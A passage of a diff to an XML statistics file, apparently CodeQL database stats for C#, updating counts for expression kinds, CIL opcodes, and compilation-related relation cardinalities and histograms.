+<v>15902</v> </e> <e> <k>@decimal_literal_expr</k> @@ -493,7 +493,7 @@ </e> <e> <k>@uint_literal_expr</k> -<v>2366</v> +<v>2368</v> </e> <e> <k>@ulong_literal_expr</k> @@ -505,11 +505,11 @@ </e> <e> <k>@this_access_expr</k> -<v>592516</v> +<v>592935</v> </e> <e> <k>@base_access_expr</k> -<v>2820</v> +<v>2822</v> </e> <e> <k>@method_access_expr</k> @@ -517,19 +517,19 @@ </e> <e> <k>@event_access_expr</k> -<v>430</v> +<v>431</v> </e> <e> <k>@indexer_access_expr</k> -<v>30794</v> +<v>30815</v> </e> <e> <k>@array_access_expr</k> -<v>19740</v> +<v>19754</v> </e> <e> <k>@delegate_invocation_expr</k> -<v>2138</v> +<v>2140</v> </e> <e> <k>@operator_invocation_expr</k> @@ -537,15 +537,15 @@ </e> <e> <k>@explicit_delegate_creation_expr</k> -<v>667</v> +<v>668</v> </e> <e> <k>@implicit_delegate_creation_expr</k> -<v>5115</v> +<v>5118</v> </e> <e> <k>@default_expr</k> -<v>6355</v> +<v>6360</v> </e> <e> <k>@plus_expr</k> @@ -553,27 +553,27 @@ </e> <e> <k>@minus_expr</k> -<v>7140</v> +<v>7145</v> </e> <e> <k>@bit_not_expr</k> -<v>740</v> +<v>741</v> </e> <e> <k>@log_not_expr</k> -<v>26415</v> +<v>26433</v> </e> <e> <k>@post_incr_expr</k> -<v>12561</v> +<v>12570</v> </e> <e> <k>@post_decr_expr</k> -<v>1738</v> +<v>1739</v> </e> <e> <k>@pre_incr_expr</k> -<v>1273</v> +<v>1274</v> </e> <e> <k>@pre_decr_expr</k> @@ -581,59 +581,59 @@ </e> <e> <k>@mul_expr</k> -<v>4624</v> +<v>4627</v> </e> <e> <k>@div_expr</k> -<v>1817</v> +<v>1819</v> </e> <e> <k>@rem_expr</k> -<v>716</v> +<v>717</v> </e> <e> <k>@add_expr</k> -<v>27870</v> +<v>27890</v> </e> <e> <k>@sub_expr</k> -<v>12837</v> +<v>12846</v> </e> <e> <k>@lshift_expr</k> -<v>4047</v> +<v>4050</v> </e> <e> <k>@rshift_expr</k> -<v>1764</v> +<v>1765</v> </e> <e> <k>@lt_expr</k> -<v>16290</v> +<v>16301</v> </e> <e> <k>@gt_expr</k> -<v>9583</v> +<v>9590</v> </e> <e> <k>@le_expr</k> -<v>3895</v> +<v>3898</v> </e> <e> <k>@ge_expr</k> -<v>6280</v> +<v>6285</v> </e> <e> <k>@eq_expr</k> -<v>53896</v> +<v>53935</v> </e> <e> <k>@ne_expr</k> -<v>37940</v> +<v>37966</v> </e> <e> <k>@bit_and_expr</k> -<v>6328</v> +<v>6332</v> </e> <e> <k>@bit_xor_expr</k> @@ -641,35 +641,35 @@ </e> <e> <k>@bit_or_expr</k> -<v>14983</v> +<v>14994</v> </e> <e> <k>@log_and_expr</k> -<v>20824</v> +<v>20839</v> </e> <e> <k>@log_or_expr</k> -<v>14074</v> +<v>14084</v> </e> <e> <k>@is_expr</k> -<v>6716</v> +<v>6720</v> </e> <e> <k>@as_expr</k> -<v>2758</v> +<v>2760</v> </e> <e> <k>@null_coalescing_expr</k> -<v>3681</v> +<v>3684</v> </e> <e> <k>@conditional_expr</k> -<v>9151</v> +<v>9158</v> </e> <e> <k>@simple_assign_expr</k> -<v>167400</v> +<v>167518</v> </e> <e> <k>@assign_add_expr</k> @@ -701,7 +701,7 @@ </e> <e> <k>@assign_or_expr</k> -<v>1391</v> +<v>1392</v> </e> <e> <k>@assign_lshift_expr</k> @@ -713,11 +713,11 @@ </e> <e> <k>@object_init_expr</k> -<v>7694</v> +<v>7700</v> </e> <e> <k>@collection_init_expr</k> -<v>594</v> +<v>595</v> </e> <e> <k>@checked_expr</k> @@ -725,11 +725,11 @@ </e> <e> <k>@unchecked_expr</k> -<v>1421</v> +<v>1422</v> </e> <e> <k>@constructor_init_expr</k> -<v>5818</v> +<v>5822</v> </e> <e> <k>@add_event_expr</k> @@ -745,7 +745,7 @@ </e> <e> <k>@lambda_expr</k> -<v>48826</v> +<v>48861</v> </e> <e> <k>@anonymous_method_expr</k> @@ -761,31 +761,31 @@ </e> <e> <k>@dynamic_member_access_expr</k> -<v>6851</v> +<v>6856</v> </e> <e> <k>@pointer_indirection_expr</k> -<v>4057</v> +<v>4060</v> </e> <e> <k>@address_of_expr</k> -<v>1250</v> +<v>1251</v> </e> <e> <k>@sizeof_expr</k> -<v>1040</v> +<v>1041</v> </e> <e> <k>@await_expr</k> -<v>54815</v> +<v>54853</v> </e> <e> <k>@nameof_expr</k> -<v>15927</v> +<v>15938</v> </e> <e> <k>@interpolated_string_expr</k> -<v>3043</v> +<v>3045</v> </e> <e> <k>@unknown_expr</k> @@ -793,7 +793,7 @@ </e> <e> <k>@throw_expr</k> -<v>1542</v> +<v>1543</v> </e> <e> <k>@tuple_expr</k> @@ -837,15 +837,15 @@ </e> <e> <k>@switch_case_expr</k> -<v>4349</v> +<v>4352</v> </e> <e> <k>@assign_coalesce_expr</k> -<v>543</v> +<v>544</v> </e> <e> <k>@suppress_nullable_warning_expr</k> -<v>14399</v> +<v>14409</v> </e> <e> <k>@namespace_access_expr</k> @@ -877,19 +877,19 @@ </e> <e> <k>@singlelinecomment</k> -<v>184635</v> +<v>184765</v> </e> <e> <k>@multilinecomment</k> -<v>22097</v> +<v>22113</v> </e> <e> <k>@xmldoccomment</k> -<v>203619</v> +<v>203763</v> </e> <e> <k>@commentblock</k> -<v>144232</v> +<v>144334</v> </e> <e> <k>@asp_close_tag</k> @@ -929,7 +929,7 @@ </e> <e> <k>@cil_nop</k> -<v>819888</v> +<v>820468</v> </e> <e> <k>@cil_break</k> @@ -937,147 +937,147 @@ </e> <e> <k>@cil_ldarg_0</k> -<v>3974343</v> +<v>3977155</v> </e> <e> <k>@cil_ldarg_1</k> -<v>1216387</v> +<v>1217248</v> </e> <e> <k>@cil_ldarg_2</k> -<v>443777</v> +<v>444091</v> </e> <e> <k>@cil_ldarg_3</k> -<v>209117</v> +<v>209265</v> </e> <e> <k>@cil_ldloc_0</k> -<v>929048</v> +<v>929705</v> </e> <e> <k>@cil_ldloc_1</k> -<v>493814</v> +<v>494163</v> </e> <e> <k>@cil_ldloc_2</k> -<v>288655</v> +<v>288860</v> </e> <e> <k>@cil_ldloc_3</k> -<v>192016</v> +<v>192152</v> </e> <e> <k>@cil_stloc_0</k> -<v>524847</v> +<v>525218</v> </e> <e> <k>@cil_stloc_1</k> -<v>260451</v> +<v>260635</v> </e> <e> <k>@cil_stloc_2</k> -<v>198267</v> +<v>198408</v> </e> <e> <k>@cil_stloc_3</k> -<v>138269</v> +<v>138366</v> </e> <e> <k>@cil_ldarg_s</k> -<v>264459</v> +<v>264646</v> </e> <e> <k>@cil_ldarga_s</k> -<v>74754</v> +<v>74807</v> </e> <e> <k>@cil_starg_s</k> -<v>37167</v> +<v>37193</v> </e> <e> <k>@cil_ldloc_s</k> -<v>686225</v> +<v>686711</v> </e> <e> <k>@cil_ldloca_s</k> -<v>629113</v> +<v>629558</v> </e> <e> <k>@cil_stloc_s</k> -<v>480745</v> +<v>481085</v> </e> <e> <k>@cil_ldnull</k> -<v>603595</v> +<v>604022</v> </e> <e> <k>@cil_ldc_i4_m1</k> -<v>126175</v> +<v>126265</v> </e> <e> <k>@cil_ldc_i4_0</k> -<v>625456</v> +<v>625898</v> </e> <e> <k>@cil_ldc_i4_1</k> -<v>494555</v> +<v>494905</v> </e> <e> <k>@cil_ldc_i4_2</k> -<v>121006</v> +<v>121092</v> </e> <e> <k>@cil_ldc_i4_3</k> -<v>64138</v> +<v>64184</v> </e> <e> <k>@cil_ldc_i4_4</k> -<v>58867</v> +<v>58909</v> </e> <e> <k>@cil_ldc_i4_5</k> -<v>38674</v> +<v>38701</v> </e> <e> <k>@cil_ldc_i4_6</k> -<v>23260</v> +<v>23276</v> </e> <e> <k>@cil_ldc_i4_7</k> -<v>20748</v> +<v>20763</v> </e> <e> <k>@cil_ldc_i4_8</k> -<v>33476</v> +<v>33499</v> </e> <e> <k>@cil_ldc_i4_s</k> -<v>423248</v> +<v>423547</v> </e> <e> <k>@cil_ldc_i4</k> -<v>510749</v> +<v>511111</v> </e> <e> <k>@cil_ldc_i8</k> -<v>4886</v> +<v>4889</v> </e> <e> <k>@cil_ldc_r4</k> -<v>10259</v> +<v>10267</v> </e> <e> <k>@cil_ldc_r8</k> -<v>10328</v> +<v>10335</v> </e> <e> <k>@cil_dup</k> -<v>842020</v> +<v>842616</v> </e> <e> <k>@cil_pop</k> -<v>256413</v> +<v>256594</v> </e> <e> <k>@cil_jmp</k> @@ -1085,7 +1085,7 @@ </e> <e> <k>@cil_call</k> -<v>2741258</v> +<v>2743198</v> </e> <e> <k>@cil_calli</k> @@ -1093,95 +1093,95 @@ </e> <e> <k>@cil_ret</k> -<v>1786312</v> +<v>1787576</v> </e> <e> <k>@cil_br_s</k> -<v>345792</v> +<v>346036</v> </e> <e> <k>@cil_brfalse_s</k> -<v>465931</v> +<v>466260</v> </e> <e> <k>@cil_brtrue_s</k> -<v>430674</v> +<v>430979</v> </e> <e> <k>@cil_beq_s</k> -<v>82254</v> +<v>82312</v> </e> <e> <k>@cil_bge_s</k> -<v>34924</v> +<v>34949</v> </e> <e> <k>@cil_bgt_s</k> -<v>16496</v> +<v>16508</v> </e> <e> <k>@cil_ble_s</k> -<v>29199</v> +<v>29220</v> </e> <e> <k>@cil_blt_s</k> -<v>60930</v> +<v>60973</v> </e> <e> <k>@cil_bne_un_s</k> -<v>102652</v> +<v>102724</v> </e> <e> <k>@cil_bge_un_s</k> -<v>2184</v> +<v>2186</v> </e> <e> <k>@cil_bgt_un_s</k> -<v>8733</v> +<v>8739</v> </e> <e> <k>@cil_ble_un_s</k> -<v>6119</v> +<v>6124</v> </e> <e> <k>@cil_blt_un_s</k> -<v>1467</v> +<v>1468</v> </e> <e> <k>@cil_br</k> -<v>96152</v> +<v>96220</v> </e> <e> <k>@cil_brfalse</k> -<v>32393</v> +<v>32416</v> </e> <e> <k>@cil_brtrue</k> -<v>27331</v> +<v>27351</v> </e> <e> <k>@cil_beq</k> -<v>21509</v> +<v>21524</v> </e> <e> <k>@cil_bge</k> -<v>1389</v> +<v>1390</v> </e> <e> <k>@cil_bgt</k> -<v>1462</v> +<v>1463</v> </e> <e> <k>@cil_ble</k> -<v>4642</v> +<v>4645</v> </e> <e> <k>@cil_blt</k> -<v>7933</v> +<v>7939</v> </e> <e> <k>@cil_bne_un</k> -<v>7236</v> +<v>7241</v> </e> <e> <k>@cil_bge_un</k> @@ -1201,7 +1201,7 @@ </e> <e> <k>@cil_switch</k> -<v>23879</v> +<v>23896</v> </e> <e> <k>@cil_ldind_i1</k> @@ -1209,7 +1209,7 @@ </e> <e> <k>@cil_ldind_u1</k> -<v>5510</v> +<v>5514</v> </e> <e> <k>@cil_ldind_i2</k> @@ -1217,19 +1217,19 @@ </e> <e> <k>@cil_ldind_u2</k> -<v>2444</v> +<v>2446</v> </e> <e> <k>@cil_ldind_i4</k> -<v>9777</v> +<v>9784</v> </e> <e> <k>@cil_ldind_u4</k> -<v>1482</v> +<v>1483</v> </e> <e> <k>@cil_ldind_i8</k> -<v>1970</v> +<v>1971</v> </e> <e> <k>@cil_ldind_i</k> @@ -1245,27 +1245,27 @@ </e> <e> <k>@cil_ldind_ref</k> -<v>6656</v> +<v>6660</v> </e> <e> <k>@cil_stind_ref</k> -<v>16935</v> +<v>16947</v> </e> <e> <k>@cil_stind_i1</k> -<v>8523</v> +<v>8529</v> </e> <e> <k>@cil_stind_i2</k> -<v>1376</v> +<v>1377</v> </e> <e> <k>@cil_stind_i4</k> -<v>10362</v> +<v>10369</v> </e> <e> <k>@cil_stind_i8</k> -<v>2345</v> +<v>2347</v> </e> <e> <k>@cil_stind_r4</k> @@ -1277,19 +1277,19 @@ </e> <e> <k>@cil_add</k> -<v>223975</v> +<v>224134</v> </e> <e> <k>@cil_sub</k> -<v>85282</v> +<v>85342</v> </e> <e> <k>@cil_mul</k> -<v>29950</v> +<v>29971</v> </e> <e> <k>@cil_div</k> -<v>9123</v> +<v>9130</v> </e> <e> <k>@cil_div_un</k> @@ -1297,7 +1297,7 @@ </e> <e> <k>@cil_rem</k> -<v>3408</v> +<v>3410</v> </e> <e> <k>@cil_rem_un</k> @@ -1305,71 +1305,71 @@ </e> <e> <k>@cil_and</k> -<v>59335</v> +<v>59377</v> </e> <e> <k>@cil_or</k> -<v>22148</v> +<v>22164</v> </e> <e> <k>@cil_xor</k> -<v>22714</v> +<v>22730</v> </e> <e> <k>@cil_shl</k> -<v>18969</v> +<v>18982</v> </e> <e> <k>@cil_shr</k> -<v>9177</v> +<v>9183</v> </e> <e> <k>@cil_shr_un</k> -<v>26108</v> +<v>26126</v> </e> <e> <k>@cil_neg</k> -<v>2335</v> +<v>2337</v> </e> <e> <k>@cil_not</k> -<v>1458</v> +<v>1459</v> </e> <e> <k>@cil_conv_i1</k> -<v>1384</v> +<v>1385</v> </e> <e> <k>@cil_conv_i2</k> -<v>1448</v> +<v>1449</v> </e> <e> <k>@cil_conv_i4</k> -<v>59779</v> +<v>59821</v> </e> <e> <k>@cil_conv_i8</k> -<v>50289</v> +<v>50325</v> </e> <e> <k>@cil_conv_r4</k> -<v>2467</v> +<v>2469</v> </e> <e> <k>@cil_conv_r8</k> -<v>5281</v> +<v>5284</v> </e> <e> <k>@cil_conv_u4</k> -<v>7831</v> +<v>7836</v> </e> <e> <k>@cil_conv_u8</k> -<v>19544</v> +<v>19558</v> </e> <e> <k>@cil_callvirt</k> -<v>2050420</v> +<v>2051871</v> </e> <e> <k>@cil_cpobj</k> @@ -1377,23 +1377,23 @@ </e> <e> <k>@cil_ldobj</k> -<v>12654</v> +<v>12663</v> </e> <e> <k>@cil_ldstr</k> -<v>926751</v> +<v>927407</v> </e> <e> <k>@cil_newobj</k> -<v>657074</v> +<v>657539</v> </e> <e> <k>@cil_castclass</k> -<v>97068</v> +<v>97137</v> </e> <e> <k>@cil_isinst</k> -<v>56448</v> +<v>56488</v> </e> <e> <k>@cil_conv_r_un</k> @@ -1405,35 +1405,35 @@ </e> <e> <k>@cil_throw</k> -<v>381228</v> +<v>381498</v> </e> <e> <k>@cil_ldfld</k> -<v>1676706</v> +<v>1677892</v> </e> <e> <k>@cil_ldflda</k> -<v>300705</v> +<v>300918</v> </e> <e> <k>@cil_stfld</k> -<v>1073100</v> +<v>1073860</v> </e> <e> <k>@cil_ldsfld</k> -<v>407341</v> +<v>407629</v> </e> <e> <k>@cil_ldsflda</k> -<v>2530</v> +<v>2532</v> </e> <e> <k>@cil_stsfld</k> -<v>130920</v> +<v>131013</v> </e> <e> <k>@cil_stobj</k> -<v>7021</v> +<v>7026</v> </e> <e> <k>@cil_conv_ovf_i1_un</k> @@ -1477,19 +1477,19 @@ </e> <e> <k>@cil_box</k> -<v>79840</v> +<v>79897</v> </e> <e> <k>@cil_newarr</k> -<v>112112</v> +<v>112191</v> </e> <e> <k>@cil_ldlen</k> -<v>55332</v> +<v>55371</v> </e> <e> <k>@cil_ldelema</k> -<v>9869</v> +<v>9876</v> </e> <e> <k>@cil_ldelem_i1</k> @@ -1497,7 +1497,7 @@ </e> <e> <k>@cil_ldelem_u1</k> -<v>15575</v> +<v>15586</v> </e> <e> <k>@cil_ldelem_i2</k> @@ -1505,19 +1505,19 @@ </e> <e> <k>@cil_ldelem_u2</k> -<v>6090</v> +<v>6094</v> </e> <e> <k>@cil_ldelem_i4</k> -<v>17584</v> +<v>17596</v> </e> <e> <k>@cil_ldelem_u4</k> -<v>19115</v> +<v>19128</v> </e> <e> <k>@cil_ldelem_i8</k> -<v>11922</v> +<v>11931</v> </e> <e> <k>@cil_ldelem_i</k> @@ -1525,7 +1525,7 @@ </e> <e> <k>@cil_ldelem_r4</k> -<v>282</v> +<v>283</v> </e> <e> <k>@cil_ldelem_r8</k> @@ -1533,7 +1533,7 @@ </e> <e> <k>@cil_ldelem_ref</k> -<v>30701</v> +<v>30723</v> </e> <e> <k>@cil_stelem_i</k> @@ -1541,43 +1541,43 @@ </e> <e> <k>@cil_stelem_i1</k> -<v>8792</v> +<v>8798</v> </e> <e> <k>@cil_stelem_i2</k> -<v>8987</v> +<v>8993</v> </e> <e> <k>@cil_stelem_i4</k> -<v>22826</v> +<v>22842</v> </e> <e> <k>@cil_stelem_i8</k> -<v>9425</v> +<v>9432</v> </e> <e> <k>@cil_stelem_r4</k> -<v>199</v> +<v>200</v> </e> <e> <k>@cil_stelem_r8</k> -<v>477</v> +<v>478</v> </e> <e> <k>@cil_stelem_ref</k> -<v>362952</v> +<v>363209</v> </e> <e> <k>@cil_ldelem</k> -<v>2277</v> +<v>2278</v> </e> <e> <k>@cil_stelem</k> -<v>53620</v> +<v>53658</v> </e> <e> <k>@cil_unbox_any</k> -<v>14390</v> +<v>14400</v> </e> <e> <k>@cil_conv_ovf_i1</k> @@ -1625,19 +1625,19 @@ </e> <e> <k>@cil_ldtoken</k> -<v>71316</v> +<v>71367</v> </e> <e> <k>@cil_conv_u2</k> -<v>4339</v> +<v>4343</v> </e> <e> <k>@cil_conv_u1</k> -<v>11259</v> +<v>11267</v> </e> <e> <k>@cil_conv_i</k> -<v>3662</v> +<v>3664</v> </e> <e> <k>@cil_conv_ovf_i</k> @@ -1649,7 +1649,7 @@ </e> <e> <k>@cil_add_ovf</k> -<v>1731</v> +<v>1732</v> </e> <e> <k>@cil_add_ovf_un</k> @@ -1657,7 +1657,7 @@ </e> <e> <k>@cil_mul_ovf</k> -<v>443</v> +<v>444</v> </e> <e> <k>@cil_mul_ovf_un</k> @@ -1665,7 +1665,7 @@ </e> <e> <k>@cil_sub_ovf</k> -<v>1111</v> +<v>1112</v> </e> <e> <k>@cil_sub_ovf_un</k> @@ -1673,15 +1673,15 @@ </e> <e> <k>@cil_endfinally</k> -<v>56902</v> +<v>56942</v> </e> <e> <k>@cil_leave</k> -<v>66864</v> +<v>66911</v> </e> <e> <k>@cil_leave_s</k> -<v>149348</v> +<v>149453</v> </e> <e> <k>@cil_stind_i</k> @@ -1689,7 +1689,7 @@ </e> <e> <k>@cil_conv_u</k> -<v>5808</v> +<v>5812</v> </e> <e> <k>@cil_arglist</k> @@ -1697,19 +1697,19 @@ </e> <e> <k>@cil_ceq</k> -<v>96971</v> +<v>97040</v> </e> <e> <k>@cil_cgt</k> -<v>11567</v> +<v>11575</v> </e> <e> <k>@cil_cgt_un</k> -<v>36708</v> +<v>36734</v> </e> <e> <k>@cil_clt</k> -<v>19521</v> +<v>19535</v> </e> <e> <k>@cil_clt_un</k> @@ -1717,11 +1717,11 @@ </e> <e> <k>@cil_ldftn</k> -<v>79933</v> +<v>79989</v> </e> <e> <k>@cil_ldvirtftn</k> -<v>1111</v> +<v>1112</v> </e> <e> <k>@cil_ldarg</k> @@ -1753,7 +1753,7 @@ </e> <e> <k>@cil_endfilter</k> -<v>809</v> +<v>810</v> </e> <e> <k>@cil_unaligned</k> @@ -1761,7 +1761,7 @@ </e> <e> <k>@cil_volatile</k> -<v>8538</v> +<v>8544</v> </e> <e> <k>@cil_tail</k> @@ -1769,11 +1769,11 @@ </e> <e> <k>@cil_initobj</k> -<v>101779</v> +<v>101851</v> </e> <e> <k>@cil_constrained</k> -<v>25313</v> +<v>25331</v> </e> <e> <k>@cil_cpblk</k> @@ -1785,11 +1785,11 @@ </e> <e> <k>@cil_rethrow</k> -<v>3769</v> +<v>3772</v> </e> <e> <k>@cil_sizeof</k> -<v>1731</v> +<v>1732</v> </e> <e> <k>@cil_refanytype</k> @@ -1801,15 +1801,15 @@ </e> <e> <k>@cil_valueorreftype</k> -<v>595915</v> +<v>596336</v> </e> <e> <k>@cil_typeparameter</k> -<v>184969</v> +<v>185100</v> </e> <e> <k>@cil_array_type</k> -<v>14185</v> +<v>14195</v> </e> <e> <k>@cil_pointer_type</k> @@ -1817,51 +1817,51 @@ </e> <e> <k>@cil_method</k> -<v>2314460</v> +<v>2316098</v> </e> <e> <k>@cil_method_implementation</k> -<v>1727727</v> +<v>1728950</v> </e> <e> <k>@cil_field</k> -<v>1009493</v> +<v>1010208</v> </e> <e> <k>@cil_parameter</k> -<v>4551786</v> +<v>4555008</v> </e> <e> <k>@cil_property</k> -<v>380341</v> +<v>380610</v> </e> <e> <k>@cil_event</k> -<v>20865</v> +<v>20880</v> </e> <e> <k>@cil_local_variable</k> -<v>1151956</v> +<v>1152771</v> </e> <e> <k>@cil_catch_handler</k> -<v>43857</v> +<v>43888</v> </e> <e> <k>@cil_filter_handler</k> -<v>809</v> +<v>810</v> </e> <e> <k>@cil_finally_handler</k> -<v>55429</v> +<v>55468</v> </e> <e> <k>@cil_fault_handler</k> -<v>1472</v> +<v>1473</v> </e> <e> <k>@cil_attribute</k> -<v>328646</v> +<v>328879</v> </e> </typesizes> <stats><relation> @@ -1919,7 +1919,7 @@ </relation> <relation> <name>compilation_args</name> -<cardinality>4593</cardinality> +<cardinality>4894</cardinality> <columnsizes> <e> <k>id</k> @@ -1931,7 +1931,7 @@ </e> <e> <k>arg</k> -<v>1121</v> +<v>1122</v> </e> </columnsizes> <dependencies> @@ -1945,12 +1945,12 @@ <b> <a>4</a> <b>5</b> -<v>892</v> +<v>595</v> </b> <b> <a>5</a> <b>6</b> -<v>204</v> +<v>502</v> </b> </bs> </hist> @@ -1966,12 +1966,12 @@ <b> <a>4</a> <b>5</b> -<v>892</v> +<v>595</v> </b> <b> <a>5</a> <b>6</b> -<v>204</v> +<v>502</v> </b> </bs> </hist> @@ -1985,8 +1985,8 @@ <budget>12</budget> <bs> <b> -<a>42</a> -<b>43</b> +<a>103</a> +<b>104</b> <v>4</v> </b> <b> @@ -2011,13 +2011,13 @@ <v>14</v> </b> <b> -<a>42</a> -<b>43</b> +<a>103</a> +<b>104</b> <v>4</v> </b> <b> -<a>184</a> -<b>185</b> +<a>123</a> +<b>124</b> <v>4</v> </b> </bs> @@ -2037,7 +2037,7 @@ <v>1097</v> </b> <b> -<a>42</a> +<a>103</a> <b>226</b> <v>24</v> </b> @@ -2055,7 +2055,7 @@ <b> <a>1</a> <b>2</b> -<v>1111</v> +<v>1112</v> </b> <b> <a>2</a> @@ -2070,7 +2070,7 @@ </relation> <relation> <name>compilation_compiling_files</name> -<cardinality>22611</cardinality> +<cardinality>22627</cardinality> <columnsizes> <e> <k>id</k> @@ -2078,11 +2078,11 @@ </e> <e> <k>num</k> -<v>711</v> +<v>712</v> </e> <e> <k>file</k> -<v>22606</v> +<v>22622</v> </e> </columnsizes> <dependencies> @@ -2420,7 +2420,7 @@ <b> <a>1</a> <b>2</b> -<v>22601</v> +<v>22617</v> </b> <b> <a>2</a> @@ -2441,7 +2441,7 @@ <b> <a>1</a> <b>2</b> -<v>22601</v> +<v>22617</v> </b> <b> <a>2</a> @@ -2456,7 +2456,7 @@ </relation> <relation> <name>compilation_referencing_files</name> -<cardinality>359684</cardinality> +<cardinality>359939</cardinality> <columnsizes> <e> <k>id</k> @@ -2464,11 +2464,11 @@ </e> <e> <k>num</k> -<v>2745</v> +<v>2747</v> </e> <e> <k>file</k> -<v>3418</v> +<v>3420</v> </e> </columnsizes> <dependencies> @@ -2659,12 +2659,12 @@ <b> <a>222</a> <b>223</b> -<v>638</v> +<v>639</v> </b> <b> <a>224</a> <b>225</b> -<v>711</v> +<v>712</v> </b> <b> <a>225</a> @@ -2690,57 +2690,57 @@ <b> <a>4</a> <b>5</b> -<v>14</v> +<v>9</v> </b> <b> <a>5</a> <b>6</b> -<v>570</v> +<v>619</v> </b> <b> <a>6</a> -<b>15</b> -<v>214</v> -</b> -<b> -<a>15</a> -<b>21</b> -<v>229</v> -</b> -<b> -<a>21</a> -<b>28</b> -<v>234</v> -</b> -<b> -<a>28</a> -<b>33</b> -<v>204</v> -</b> -<b> -<a>33</a> -<b>43</b> -<v>214</v> -</b> -<b> -<a>43</a> -<b>55</b> -<v>229</v> -</b> -<b> -<a>55</a> -<b>62</b> +<b>19</b> <v>219</v> </b> <b> -<a>62</a> +<a>19</a> +<b>24</b> +<v>209</v> +</b> +<b> +<a>24</a> +<b>31</b> +<v>209</v> +</b> +<b> +<a>31</a> +<b>36</b> +<v>243</v> +</b> +<b> +<a>36</a> +<b>48</b> +<v>219</v> +</b> +<b> +<a>48</a> +<b>60</b> +<v>209</v> +</b> +<b> +<a>60</a> <b>64</b> -<v>214</v> +<v>204</v> </b> <b> <a>64</a> -<b>69</b> -<v>180</v> +<b>67</b> +<v>229</v> +</b> +<b> +<a>67</a> +<b>74</b> +<v>151</v> </b> </bs> </hist> @@ -2756,7 +2756,7 @@ <b> <a>1</a> <b>2</b> -<v>526</v> +<v>527</v> </b> <b> <a>2</a> @@ -2771,12 +2771,12 @@ <b> <a>7</a> <b>8</b> -<v>316</v> +<v>317</v> </b> <b> <a>8</a> <b>10</b> -<v>277</v> +<v>278</v> </b> <b> <a>10</a> @@ -2801,12 +2801,12 @@ <b> <a>222</a> <b>223</b> -<v>482</v> +<v>483</v> </b> <b> <a>224</a> <b>225</b> -<v>716</v> +<v>717</v> </b> </bs> </hist> @@ -2822,62 +2822,62 @@ <b> <a>1</a> <b>2</b> -<v>560</v> +<v>561</v> </b> <b> <a>2</a> <b>5</b> -<v>292</v> +<v>268</v> </b> <b> <a>5</a> <b>6</b> -<v>204</v> +<v>224</v> </b> <b> <a>6</a> <b>7</b> -<v>248</v> +<v>263</v> </b> <b> <a>7</a> -<b>10</b> -<v>273</v> -</b> -<b> -<a>10</a> -<b>18</b> +<b>11</b> <v>302</v> </b> <b> -<a>18</a> -<b>23</b> -<v>268</v> +<a>11</a> +<b>20</b> +<v>258</v> </b> <b> -<a>23</a> -<b>27</b> -<v>277</v> +<a>20</a> +<b>26</b> +<v>287</v> </b> <b> -<a>27</a> -<b>58</b> +<a>26</a> +<b>31</b> <v>263</v> </b> <b> -<a>58</a> -<b>63</b> -<v>263</v> +<a>31</a> +<b>61</b> +<v>258</v> </b> <b> -<a>63</a> -<b>67</b> -<v>282</v> +<a>61</a> +<b>66</b> +<v>312</v> </b> <b> -<a>67</a> -<b>71</b> -<v>180</v> +<a>66</a> +<b>69</b> +<v>258</v> +</b> +<b> +<a>69</a> +<b>76</b> +<v>161</v> </b> </bs> </hist> @@ -2887,7 +2887,7 @@ </relation> <relation> <name>compilation_time</name> -<cardinality>7680</cardinality> +<cardinality>7685</cardinality> <columnsizes> <e> <k>id</k> @@ -2903,7 +2903,7 @@ </e> <e> <k>seconds</k> -<v>5710</v> +<v>5763</v> </e> </columnsizes> <dependencies> @@ -2947,9 +2947,14 @@ <budget>12</budget> <bs> <b> +<a>6</a> +<b>7</b> +<v>9</v> +</b> +<b> <a>7</a> <b>8</b> -<v>1097</v> +<v>1088</v> </b> </bs> </hist> @@ -2995,8 +3000,8 @@ <budget>12</budget> <bs> <b> -<a>1171</a> -<b>1172</b> +<a>1181</a> +<b>1182</b> <v>4</v> </b> </bs> @@ -3043,18 +3048,13 @@ <budget>12</budget> <bs> <b> -<a>173</a> -<b>174</b> +<a>163</a> +<b>164</b> <v>4</v> </b> <b> -<a>174</a> -<b>175</b> -<v>4</v> -</b> -<b> -<a>179</a> -<b>180</b> +<a>170</a> +<b>171</b> <v>4</v> </b> <b> @@ -3063,9 +3063,19 @@ <v>4</v> </b> <b> +<a>185</a> +<b>186</b> +<v>4</v> +</b> +<b> +<a>223</a> +<b>224</b> +<v>4</v> +</b> +<b> <a>225</a> <b>226</b> -<v>14</v> +<v>9</v> </b> </bs> </hist> @@ -3081,22 +3091,22 @@ <b> <a>1</a> <b>2</b> -<v>4515</v> +<v>4655</v> </b> <b> <a>2</a> <b>3</b> -<v>707</v> +<v>580</v> </b> <b> <a>3</a> -<b>6</b> -<v>473</v> +<b>5</b> +<v>468</v> </b> <b> -<a>7</a> -<b>9</b> -<v>14</v> +<a>5</a> +<b>8</b> +<v>58</v> </b> </bs> </hist> @@ -3112,7 +3122,7 @@ <b> <a>1</a> <b>2</b> -<v>5710</v> +<v>5763</v> </b> </bs> </hist> @@ -3128,17 +3138,17 @@ <b> <a>1</a> <b>2</b> -<v>4842</v> +<v>4948</v> </b> <b> <a>2</a> <b>3</b> -<v>707</v> +<v>702</v> </b> <b> <a>3</a> <b>5</b> -<v>160</v> +<v>112</v> </b> </bs> </hist> @@ -4409,7 +4419,7 @@ </e> <e> <k>stack_trace</k> -<v>303</v> +<v>212</v> </e> </columnsizes> <dependencies> @@ -4637,8 +4647,8 @@ <v>2</v> </b> <b> -<a>302</a> -<b>303</b> +<a>211</a> +<b>212</b> <v>1</v> </b> </bs> @@ -4733,8 +4743,8 @@ <budget>12</budget> <bs> <b> -<a>303</a> -<b>304</b> +<a>212</a> +<b>213</b> <v>1</v> </b> </bs> @@ -4984,9 +4994,14 @@ <v>4</v> </b> <b> +<a>2</a> +<b>3</b> +<v>2</v> +</b> +<b> <a>3</a> <b>4</b> -<v>3</v> +<v>1</v> </b> <b> <a>7</a> @@ -4996,21 +5011,16 @@ <b> <a>9</a> <b>10</b> +<v>2</v> +</b> +<b> +<a>54</a> +<b>55</b> <v>1</v> </b> <b> -<a>13</a> -<b>14</b> -<v>1</v> -</b> -<b> -<a>79</a> -<b>80</b> -<v>1</v> -</b> -<b> -<a>183</a> -<b>184</b> +<a>123</a> +<b>124</b> <v>1</v> </b> </bs> @@ -5132,12 +5142,12 @@ <b> <a>1</a> <b>2</b> -<v>5110</v> +<v>5275</v> </b> <b> <a>2</a> -<b>7</b> -<v>234</v> +<b>6</b> +<v>69</v> </b> </bs> </hist> @@ -5258,12 +5268,12 @@ <b> <a>1</a> <b>2</b> -<v>6535</v> +<v>6742</v> </b> <b> <a>2</a> <b>9</b> -<v>224</v> 